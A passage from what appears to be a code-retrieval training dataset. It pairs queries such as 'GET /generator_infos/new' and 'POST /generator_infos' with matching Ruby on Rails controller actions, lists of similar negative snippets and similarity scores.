:ok}\n format.json { render json: @gig, status: :ok }\n end\n end", "def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end", "def start_generation\n Nanite.request(\"/nanny/generate\", self.id)\n end", "def show\n @scan_path = ScanPath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @scan_path }\n end\n end", "def new\n @scan_path = ScanPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scan_path }\n end\n end", "def show\n @gpath = Gpath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gpath }\n end\n end", "def new\n @info_page = InfoPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_page }\n end\n end", "def show\n @commander = Commander.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commander }\n end\n end", "def index\n @info = Info.first\n end", "def show\n @gopy = Gopy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gopy }\n end\n end", "def new\n @objects_info = ObjectsInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @objects_info }\n end\n end", "def getmininginfo\n @api.request 'getmininginfo'\n end", "def index\n respond_with Genre.all\n end", "def new\n @seller_info = SellerInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seller_info }\n end\n end", "def show\n @galeria = Galeria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @galeria }\n end\n end", "def show\n @bio = Bio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bio }\n end\n end", "def info(preset, source_uri, format)\n url_opts = { :storage => params[:storage], :preset => preset, :format => format }\n relative_uri = url_for_external_image(params[:relative_path], url_opts)\n absolute_path = Merb.dir_for(:public) / relative_uri\n base_url = params[:relative] ? '' : (request.protocol + \"://\" + request.host)\n \n information = {}\n information[:source] = source_uri\n information[:format] = format\n information[:preset] = preset\n information[:exists] = File.file?(absolute_path)\n information[:metadata] = slice.metadata_for(absolute_path) if information[:exists] && params[:metadata]\n \n if params[:presets]\n preset_names.inject(information[:presets] ||= {}) do |presets, preset_name|\n preset_uri = url_for_external_image(params[:relative_path], url_opts.merge(:preset => preset_name))\n presets[preset_name] = base_url + preset_uri\n presets\n end\n end\n \n self.content_type = :json\n information.to_json\n end", "def new\n @githuber = Githuber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @githuber }\n end\n end", "def show\n @seller_info = SellerInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seller_info }\n end\n end", "def show\n render json: @registration_request\n end", "def get_finding_info\n\t\tidDec = params[:idDec].to_i\n\t\tidMap = params[:idMap].to_i\n\t\thallazgo = Finding.where(\"decision_map_id = ? AND governance_decision_id = ?\", idMap, idDec).first\n\t\trespond_to do |format|\n\t\t\tformat.json {render json: hallazgo}\n \tend\n\tend", "def update\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n if @generator.update_attributes(params[:generator])\n format.html { redirect_to admin_generator_path(@generator.id), notice: 'Generator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def info(**args)\n valid_params?(args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/info\", options: params.compact).tap do |resp|\n resp.body = resp.body.map { |_k, data| data }\n end\n end", "def info(**args)\n valid_params?(args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/info\", options: params.compact).tap do |resp|\n resp.body = resp.body.map { |_k, data| data }\n end\n end" ]
[ "0.7734949", "0.76324904", "0.7155637", "0.7088739", "0.692677", "0.6912711", "0.6613922", "0.65839964", "0.65614575", "0.65559924", "0.6482887", "0.6467777", "0.6376878", "0.63721305", "0.63492876", "0.63188666", "0.61869276", "0.61526024", "0.61267203", "0.60332644", "0.6020148", "0.5989681", "0.5954317", "0.5924876", "0.58800024", "0.58360493", "0.58176535", "0.5805444", "0.5741314", "0.5725496", "0.5724665", "0.5709039", "0.5708444", "0.57068014", "0.5702596", "0.5697763", "0.5689939", "0.5683633", "0.5683633", "0.5683633", "0.5683238", "0.5676151", "0.567509", "0.5648014", "0.5629211", "0.56260794", "0.56187445", "0.5610728", "0.5610342", "0.56068367", "0.5584705", "0.5584705", "0.5577838", "0.555602", "0.5552795", "0.5546242", "0.5542788", "0.5541658", "0.5538898", "0.5520234", "0.55134284", "0.55126196", "0.55070883", "0.55070883", "0.5505781", "0.547061", "0.5458341", "0.5454437", "0.5449911", "0.5440134", "0.54285216", "0.5427502", "0.5423195", "0.54222405", "0.5416527", "0.5407465", "0.5406751", "0.5405095", "0.5404867", "0.5402037", "0.5400725", "0.54006666", "0.53903264", "0.53901976", "0.53809816", "0.5380004", "0.53761685", "0.53748107", "0.53747344", "0.5374557", "0.53724223", "0.5369407", "0.5365753", "0.5362203", "0.5360545", "0.5358854", "0.53503543", "0.5349754", "0.5349744", "0.5349744" ]
0.8017623
0
GET /generator_infos/new GET /generator_infos/new.json
def new @generator_info = GeneratorInfo.new respond_to do |format| format.html # new.html.erb format.json { render json: @generator_info } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @generator = Generator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator }\n end\n end", "def create\n @generator_info = GeneratorInfo.new(params[:generator_info])\n\n respond_to do |format|\n if @generator_info.save\n format.html { redirect_to @generator_info, notice: 'Generator info was successfully created.' }\n format.json { render json: @generator_info, status: :created, location: @generator_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generator_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @generation = Generation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generation }\n end\n end", "def new\n @gen = Gen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gen }\n end\n end", "def new\n @small_generator = SmallGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @small_generator }\n end\n end", "def create\n @generator = Generator.new(params[:generator])\n \n respond_to do |format|\n if @generator.save\n format.html { redirect_to admin_generator_path(@generator.id), notice: 'Generator was successfully created.' }\n format.json { render json: @generator, status: :created, location: @generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @generator = Generator.new(generator_params)\n\n respond_to do |format|\n if @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render :show, status: :created, location: @generator }\n else\n format.html { render :new }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @opportunity_generator = OpportunityGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @opportunity_generator }\n end\n end", "def new\n puts \"HAHAHAHAHHA\"\n @information_request = InformationRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information_request }\n end\n end", "def new\n @impgen = Impgen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @impgen }\n end\n end", "def new\n @creator_source = CreatorSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator_source }\n end\n end", "def new\n @information = Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information }\n end\n end", "def new\n @information = Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @information }\n end\n end", "def new\n @info_type = InfoType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_type }\n end\n end", "def new\n @info_page = InfoPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_page }\n end\n end", "def create\n @gen = Gen.new(params[:gen])\n\n respond_to do |format|\n if @gen.save\n format.html { redirect_to @gen, notice: 'Gen was successfully created.' }\n format.json { render json: @gen, status: :created, location: @gen }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gen.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @identifier = Identifier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @identifier }\n end\n end", "def new\n @inning = Inning.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inning }\n end\n end", "def new\n @gid2name = Gid2name.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gid2name }\n end\n end", "def new\n @genotype = Genotype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @genotype }\n end\n end", "def new\n @recinto = Recinto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recinto }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @girltype = Girltype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @girltype }\n end\n end", "def new\n @resource_info = ResourceInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource_info }\n end\n end", "def new\n @ninja = Ninja.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ninja }\n end\n end", "def new\n @gene_name = GeneName.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gene_name }\n end\n end", "def new\n @githuber = Githuber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @githuber }\n end\n end", "def new\n @info_polen = InfoPolen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_polen }\n end\n end", "def new\n @info_polen = InfoPolen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_polen }\n end\n end", "def new\n @gig_request = GigRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gig_request }\n end\n end", "def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end", "def new\n @server_info = ServerInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server_info }\n end\n end", "def new\n @ginasio = Ginasio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ginasio }\n end\n end", "def new\n @objects_info = ObjectsInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @objects_info }\n end\n end", "def new\n @general_information = GeneralInformation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @general_information }\n end\n end", "def new\n @routing = Routing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @routing }\n end\n end", "def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end", "def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to [:admin, @generation], notice: 'Generation was successfully created.' }\n format.json { render json: @generation, status: :created, location: @generation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @gitto = Gitto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gitto }\n end\n end", "def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end", "def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end", "def new\n @gpath = Gpath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gpath }\n end\n end", "def new\n @importer = Importer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @importer }\n end\n end", "def show\n @generator_info = GeneratorInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator_info }\n end\n end", "def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to ['admin', @generation], notice: 'Generación Creada' }\n format.json { render :show, status: :created, location: @generation }\n else\n format.html { render :new }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @finder = Finder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finder }\n end\n end", "def new\n @owner = Owner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @owner }\n end\n end", "def create\n @small_generator = SmallGenerator.new(params[:small_generator])\n\n respond_to do |format|\n if @small_generator.save\n format.html { redirect_to @small_generator, notice: 'Small generator was successfully created.' }\n format.json { render json: @small_generator, status: :created, location: @small_generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @small_generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @referer = Referer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @referer }\n end\n end", "def new\n @noto = Noto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @noto }\n end\n end", "def new\n @spawner = Spawner.new\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spawner }\n end\n end", "def new\n @ident = Ident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ident }\n end\n end", "def new\n @item_info = ItemInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_info }\n end\n end", "def new\n @supplier = Supplier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplier }\n end\n end", "def new\n @taker = Taker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @taker }\n end\n end", "def new\n @distro = Distro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distro }\n end\n end", "def new\n @distro = Distro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distro }\n end\n end", "def new\n @gist = Gist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gist }\n end\n end", "def new\n @usage = Usage.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usage }\n end\n end", "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end", "def new\n @creator_accession_relationship = CreatorAccessionRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator_accession_relationship }\n end\n end", "def new\n @mi = Mi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mi }\n end\n end", "def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "def new\n @uniqueid = Uniqueid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @uniqueid }\n end\n end", "def new\n @ano = Ano.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ano }\n end\n end", "def new\n @immigrant = Immigrant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @immigrant }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @registration }\n end\n end", "def new\n @gopy = Gopy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gopy }\n end\n end", "def new\n @goat = Goat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goat }\n end\n end", "def new\n @visitation = Visitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visitation }\n end\n end", "def new\n @file_info = FileInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_info }\n end\n end", "def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holder }\n end\n end", "def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end", "def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end", "def new\n @scan_path = ScanPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scan_path }\n end\n end", "def new\n @emitter = Emitter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @emitter }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @byoin = Byoin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @byoin }\n end\n end", "def new\n @distributor = Distributor.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distributor }\n end\n end", "def new\n @program_genre = ProgramGenre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @program_genre }\n end\n end", "def new\n @seller_info = SellerInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seller_info }\n end\n end", "def new\n @auto = Auto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @auto }\n end\n end", "def new\n # @updaterete = Updaterete.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @updaterete }\n end\n end", "def new\n @grm = Grm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grm }\n end\n end", "def new\n @gnode = Gnode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gnode }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @link }\n end\n end", "def new\n @verification = Verification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verification }\n end\n end", "def new\n @caller = Caller.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @caller }\n end\n end", "def new\n @verification = Verification.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verification }\n end\n end", "def new\n @intern = Intern.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intern }\n end\n end", "def new\n @distribution = Distribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distribution }\n end\n end" ]
[ "0.8090992", "0.7891322", "0.76211685", "0.7536716", "0.73769194", "0.7209613", "0.7102757", "0.7100119", "0.7083458", "0.70036584", "0.6943618", "0.6923939", "0.68963504", "0.6856303", "0.68508047", "0.6817471", "0.6797899", "0.67962635", "0.6792967", "0.6767336", "0.67419404", "0.6727264", "0.6727264", "0.6727264", "0.6727264", "0.6727264", "0.67271894", "0.67154044", "0.67082745", "0.6696477", "0.6687545", "0.6671848", "0.6671848", "0.66695464", "0.66692615", "0.6669034", "0.6660085", "0.6656068", "0.6645967", "0.6645274", "0.6644242", "0.66380674", "0.66344404", "0.663222", "0.663222", "0.6622525", "0.66145813", "0.66139597", "0.66120803", "0.66092485", "0.6608369", "0.6607048", "0.66043335", "0.65995663", "0.6597667", "0.65968287", "0.6571912", "0.65706307", "0.6570223", "0.6567508", "0.6567508", "0.6565435", "0.6559652", "0.65570813", "0.655317", "0.65487945", "0.6545794", "0.6545563", "0.654215", "0.6541279", "0.65404904", "0.65402853", "0.65360796", "0.65326524", "0.65271413", "0.6520345", "0.6504455", "0.650426", "0.650426", "0.6500535", "0.6500283", "0.64966345", "0.64966345", "0.64966345", "0.64966345", "0.64966345", "0.6492754", "0.6489888", "0.6489822", "0.6482682", "0.6477792", "0.64761716", "0.6474992", "0.647343", "0.6470303", "0.6468562", "0.6466174", "0.6463685", "0.6462205", "0.64616257" ]
0.85566103
0
POST /generator_infos POST /generator_infos.json
def create @generator_info = GeneratorInfo.new(params[:generator_info]) respond_to do |format| if @generator_info.save format.html { redirect_to @generator_info, notice: 'Generator info was successfully created.' } format.json { render json: @generator_info, status: :created, location: @generator_info } else format.html { render action: "new" } format.json { render json: @generator_info.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @generator_info = GeneratorInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator_info }\n end\n end", "def create\n @generator = Generator.new(generator_params)\n\n respond_to do |format|\n if @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render :show, status: :created, location: @generator }\n else\n format.html { render :new }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @generator = Generator.new(params[:generator])\n \n respond_to do |format|\n if @generator.save\n format.html { redirect_to admin_generator_path(@generator.id), notice: 'Generator was successfully created.' }\n format.json { render json: @generator, status: :created, location: @generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @generator = Generator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator }\n end\n end", "def show\n @generator_info = GeneratorInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator_info }\n end\n end", "def create\n @small_generator = SmallGenerator.new(params[:small_generator])\n\n respond_to do |format|\n if @small_generator.save\n format.html { redirect_to @small_generator, notice: 'Small generator was successfully created.' }\n format.json { render json: @small_generator, status: :created, location: @small_generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @small_generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @generator = Generator.new(generator_params)\n create_scaffold\n respond_to do |format|\n if @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render :show, status: :created, location: @generator }\n else\n format.html { render :new }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def generator_params\n params.require(:generator).permit(:name, :notes, attrs_attributes: [:id, :name, :type, :_destroy], \n refgenerators_ids: [], refgenerators_names: [])\n end", "def create\n @gen = Gen.new(params[:gen])\n\n respond_to do |format|\n if @gen.save\n format.html { redirect_to @gen, notice: 'Gen was successfully created.' }\n format.json { render json: @gen, status: :created, location: @gen }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gen.errors, status: :unprocessable_entity }\n end\n end\n end", "def generator_params\n params.require(:generator).permit(:name)\n end", "def create\n respond_to do |format|\n if handle_component && @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render action: 'show', status: :created, location: @generator }\n else\n format.html { render action: 'new' }\n format.json { render json: {status: :unprocessable_entity, errors: 'Could Not Create Generator'} }\n end\n end\n end", "def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to [:admin, @generation], notice: 'Generation was successfully created.' }\n format.json { render json: @generation, status: :created, location: @generation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to ['admin', @generation], notice: 'Generación Creada' }\n format.json { render :show, status: :created, location: @generation }\n else\n format.html { render :new }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @small_generator = SmallGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @small_generator }\n end\n end", "def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator }\n end\n end", "def new\n @generation = Generation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generation }\n end\n end", "def generator_params\n params.require(:generator).permit(:userid, :guid, :csvfile, :csvcount, :processedcount, :status)\n end", "def index\n @generator = Generator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generator }\n end\n end", "def generation_params\n params.require(:generation).permit(:model_id, :name)\n end", "def update\n @generator_info = GeneratorInfo.find(params[:id])\n\n respond_to do |format|\n if @generator_info.update_attributes(params[:generator_info])\n format.html { redirect_to @generator_info, notice: 'Generator info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @generator_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @info_request = InfoRequest.new(info_request_params)\n\n respond_to do |format|\n if @info_request.save\n format.html { redirect_to @info_request, notice: 'Solicitud de información enviada.' }\n format.json { render :show, status: :created, location: @info_request }\n else\n format.html { render :new }\n format.json { render json: @info_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @gen = Gen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gen }\n end\n end", "def create\n @opportunity_generator = OpportunityGenerator.new(params[:opportunity_generator])\n\n respond_to do |format|\n if @opportunity_generator.save\n flash_message('Opportunity generator', true)\n format.html { redirect_to @opportunity_generator}\n format.json { render json: @opportunity_generator, status: :created, location: @opportunity_generator }\n else\n flash_message('Opportunity generator', false)\n format.html { render action: \"new\" }\n format.json { render json: @opportunity_generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @impgen = Impgen.new(params[:impgen])\n\n respond_to do |format|\n if @impgen.save\n format.html { redirect_to @impgen, notice: 'Impgen was successfully created.' }\n format.json { render json: @impgen, status: :created, location: @impgen }\n else\n format.html { render action: \"new\" }\n format.json { render json: @impgen.errors, status: :unprocessable_entity }\n end\n end\n end", "def start_generation\n Nanite.request(\"/nanny/generate\", self.id)\n end", "def new\n @opportunity_generator = OpportunityGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @opportunity_generator }\n end\n end", "def create\n @info = Info.new(info_params)\n\n respond_to do |format|\n if @info.save\n format.html { redirect_to @info, notice: 'Info was successfully created.' }\n format.json { render :show, status: :created, location: @info }\n else\n format.html { render :new }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @info = Info.new(info_params)\n\n respond_to do |format|\n if @info.save\n format.html { redirect_to @info, notice: 'Info was successfully created.' }\n format.json { render :show, status: :created, location: @info }\n else\n format.html { render :new }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @generator_info = GeneratorInfo.find(params[:id])\n @generator_info.destroy\n\n respond_to do |format|\n format.html { redirect_to generator_infos_url }\n format.json { head :no_content }\n end\n end", "def create\n @reqinfo = Reqinfo.new(params[:reqinfo])\n\n respond_to do |format|\n if @reqinfo.save\n flash[:notice] = 'Your request for more information has been successfully submitted.'\n\t\t# Tell the Emailer to send an Email after save\n\t\tEmailer.deliver_reqinfo_email(@reqinfo)\n format.html { redirect_to(@reqinfo) }\n format.xml { render :xml => @reqinfo, :status => :created, :location => @reqinfo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reqinfo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n #debugger\n @allergen = Allergen.new(allergen_params)\n #@allergen = Allergen.new\n\n respond_to do |format|\n if @allergen.save\n #format.html { redirect_to @allergen, notice: 'Allergen was successfully created.' }\n #format.json { render :show, status: :created, location: @allergen }\n #format.json { render :show, status: :created, location: @allergen } #sostituita poco tempo fa\n format.json { render json: @allergen, status: :created, location: @allergen }\n else\n #format.html { render :new }\n #format.json { render json: @allergen.errors, status: :unprocessable_entity }\n format.json { render json: @allergen.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_register\n creator = Creator.new(submits: 0, name: request.headers['name'],password: request.headers['password'],password_confirmation: request.headers['password'])\n if creator.save\n encode = encodeJWT(creator)\n selected_format({jwt: encode,creator_id: creator.id,name: creator.name,submits:creator.submits},:ok)\n else\n error = create_error_message\n error[:developerMessage] = creator.errors\n selected_format(error, :bad_request)\n end\n end", "def update\n respond_to do |format|\n if @generator.update(generator_params)\n format.html { redirect_to @generator, notice: 'Generator was successfully updated.' }\n format.json { render :show, status: :ok, location: @generator }\n else\n format.html { render :edit }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @generator.update(generator_params)\n format.html { redirect_to @generator, notice: 'Generator was successfully updated.' }\n format.json { render :show, status: :ok, location: @generator }\n else\n format.html { render :edit }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @information = Information.new(information_params)\n\n if @information.save\n render json: :ok\n else\n render json: @information.errors, status: :unprocessable_entity\n end\n end", "def generate_request\r\n end", "def new\n puts \"HAHAHAHAHHA\"\n @information_request = InformationRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information_request }\n end\n end", "def create\n @poster_information = PosterInformation.new(poster_information_params)\n\n respond_to do |format|\n if @poster_information.save\n format.html { redirect_to @poster_information, notice: 'Poster information was successfully created.' }\n format.json { render :show, status: :created, location: @poster_information }\n else\n format.html { render :new }\n format.json { render json: @poster_information.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @person_info = PersonInfo.new(person_info_params(params[:person_info]))\n\n if @person_info.save\n render json: @person_info, status: :created, location: @person_info\n else\n render json: @person_info.errors, status: :unprocessable_entity\n end\n end", "def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end", "def create\n @infographic = Infographic.new(params[:infographic])\n\n respond_to do |format|\n if @infographic.save\n format.html { redirect_to @infographic, notice: 'Infographic was successfully created.' }\n format.json { render json: @infographic, status: :created, location: @infographic }\n else\n format.html { render 